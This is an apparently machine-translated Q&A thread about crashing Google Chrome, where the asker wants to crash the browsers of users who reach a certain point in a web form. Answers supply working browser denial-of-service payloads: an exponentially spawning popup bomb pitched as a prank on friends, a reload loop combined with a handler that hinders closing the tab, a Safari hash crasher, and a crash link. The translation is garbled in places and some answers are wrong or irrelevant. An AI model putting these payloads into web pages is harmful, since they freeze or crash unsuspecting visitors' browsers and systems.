如何破解Chrome浏览器?

时间:2016-11-01 19:15:20

标签: javascript google-chrome crash

出于测试目的,我需要一种快速简便的方法来崩溃我的标签/浏览器。我正在对我的网站进行压力测试,这些网站对Google Chrome来说非常宝贵。

  • 铬://碰撞
  • 铬://杀
  • 铬://挂
  • 铬://退出
  • 铬://重新启动
  • 可以在chrome://about找到这些网站。另一个网站(chrome://about上未列出chrome://inducebrowsercrashforrealz - 它会导致Chrome的顶级流程崩溃,包括所有浏览器窗口和所有已打开的应用中的所有标签)。最初,我试图查看在发生崩溃时保留了哪些数据。例如,我们表单中的textarea在重新启动时仍然填写。

    但是,如果我手动在浏览器中输入网址,这些网址才有价值。使用这个问题(以及其他许多我没有链接的问题),我确认了我所怀疑的 - 你不能

    • 重定向到chrome://
    • 指向chrome://
    • 的链接
    • 以任何其他方式请求来自chrome://页面的信息(即iframe)
      

    Link to chrome:// url from a webpage

    这会带来问题 - 当用户到达表单的特定部分时,我想让浏览器崩溃(chrome://inducebrowsercrashforrealz)。是否有任何脚本可能导致浏览器崩溃?

    我已尝试过while个循环,但即使它们呈现指数,它们也需要一段时间才能杀死该页面,并且永远不会影响浏览器。我希望崩溃能够瞬间完成,或者耗费足够的内存让浏览器冻结。

    12 个答案:

    答案 0 :(得分:2)

    您可以将http://crashsafari.com用于您的目的。由于它的设计,它将完全挂起浏览器。

    答案 1 :(得分:1)

    警告这会使任何使用PopUps攻击的浏览器或计算机崩溃

    如果你想让某些计算机或浏览器崩溃

    破坏浏览器或计算机的PopUp代码

    <script type="text/javascript"> 
    function CrashAndBurn(url) { popupWindow = window.open( url,'popUpWindow','height=181,width=666,left=3,top=222') }
    </script> 
    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    如果你真的想让他们的浏览器严重挂断,你可以使用这个弹出窗口继续上传,每个弹出窗口再增加2个弹出页面,这意味着2x2弹出窗口第二次弹出4个弹出窗口然后8,16,32, 64等弹出窗口。它使好像是一种病毒,它会在浏览器中传播PopUps,用弹出窗口填满屏幕,直到计算机或浏览器崩溃并挂起并关闭,只是......

    注意:你没有听到我的消息OKAY ...大声笑......我只是建议这是对朋友的海盗笑话而不是在线网页。

    如果您想让它更快崩溃,那么只需向onload主体添加更多JavaScript:CrashAndBurn(self.location,'_blank');,如下例x4:

    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    它将为每个弹出窗口加载4个弹出窗口,4个弹出窗口后它将加载4x4意味着18个弹出窗口然后18x4即72,然后72x4即288个弹出窗口然后288x4即11个弹出窗口仅4个弹出窗口几秒钟。

    如果您想极端可怕,请使用x10示例:

    <body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
    

    你有8个弹出窗口,其中10个是10x10 = 100个弹出窗口,然后是1000个,之后有1 000 000个弹出窗口和GUARANTEED快速崩溃。

    编辑您可以使用while循环而不是复制粘贴10次。它会短得多。

    答案 2 :(得分:1)

    for(var i = 0; i === i; i++) {}

    答案 3 :(得分:1)

    <!DOCTYPE html>
    <html>
    <body>
    
    
    <h2>Crashing Now</h2>
    
    
    <p>Hit Ok To Crash</p>
    
    
    <p id="demo"></p>
    
    
    <script>
    onbeforeunload = function(){localStorage.x=1};
    
    
    if(confirm("Do you REALLY want me to crash your browser?")){
      setTimeout(function(){
        while(1)location.reload(1)
      }, 1000)
    }
    </script>
    
    
    </body>
    </html>

    答案 4 :(得分:0)

    在chrome url栏中使用它。

    (define (contfrac x)
       (cond
         ((= x 0) 1)
         (contfrac (/ (- x 1) (+ 2 (- x 1))))))
    

    不能出现在新标签中。将其粘贴到现有的URL栏中。

    答案 5 :(得分:0)

    我认为没有任何方法可以通过JS真正使客户端的浏览器崩溃。但是,可以执行大量无用的计算,从而导致制表符无用。

        while(true) {
           for(let i = 99; i === i; i *= i) {
              console.log(i);
           };
        };
    

    答案 6 :(得分:0)

    有一种方法...

    while(true){
    var dp = document.getElementByID("spamr");
     if(!document.getElementByID("spamr")){
      var dp = document.createElementByID("spamr");
      dp.innerHTML += "??????????";
    }
    dp.innerHTML += "???????????";
    }
    

    答案 7 :(得分:0)

    这应该有效!

    <button onclick="crash()">???</button>
        <script type="text/javascript">
    function crash(){
      if(navigator.userAgent.indexOf("Chrome") != -1 )
        {
          alert('WHoops')
    window.open('http://crashchrome.com/', '_self', '');
        }
        else {
          alert('Hehe')
          while (1==1){
            console.log(3234567654*45671234567890987654321)
          }
        }
    }
    </script>

    答案 8 :(得分:0)

    适用于chrome,edge,IE:

    while(1)location.reload(1)
    

    不断地重新加载当前页面(在http / https上效果最佳)

    并防止用户关闭标签页:

    onbeforeunload = function(){localStorage.x=1};
    

    回顾:

    onbeforeunload = function(){localStorage.x=1};
    
    if(confirm("Do you REALLY want me to crash your browser?")){
      setTimeout(function(){
        while(1)location.reload(1)
      }, 1000)
    }

    警告:这将完全并彻底破坏任何铬的实例,并且,如果您在chromebook或任何旧的操作系统上运行,则将完全崩溃整个系统!

    编辑: 适用于野生动物园的版本:

    window.onload=()=>location.hash="M"+"\u0001".repeat(2**25)+"m";
    

    完整演示:https://k.i5.repl.co

    答案 9 :(得分:-1)

    for(var i = 0; i === i; i++) {}
    

    应该崩溃你当前的窗口

    答案 10 :(得分:-1)

    Google Chrome Crashers网站列表

    1. chrome:// badcastcrash
    2. chrome:// inducebrowsercrashforrealz
    3. chrome:// crash
    4. chrome:// crashdump
    5. chrome:// kill
    6. chrome:// hang
    7. chrome:// shorthang
    8. chrome:// gpuclean
    9. chrome:// gpucrash
    10. chrome:// gpuhang
    11. chrome://内存耗尽
    12. chrome://内存压力至关重要
    13. chrome://内存压力适中
    14. chrome:// ppapiflashcrash
    15. chrome:// ppapiflashhang
    16. chrome:// quit
    17. chrome://重新启动

    答案 11 :(得分:-3)

    此链接:

    http://a/%%30%30

    将导致chrome崩溃,因为它会导致一个空字符。试试吧!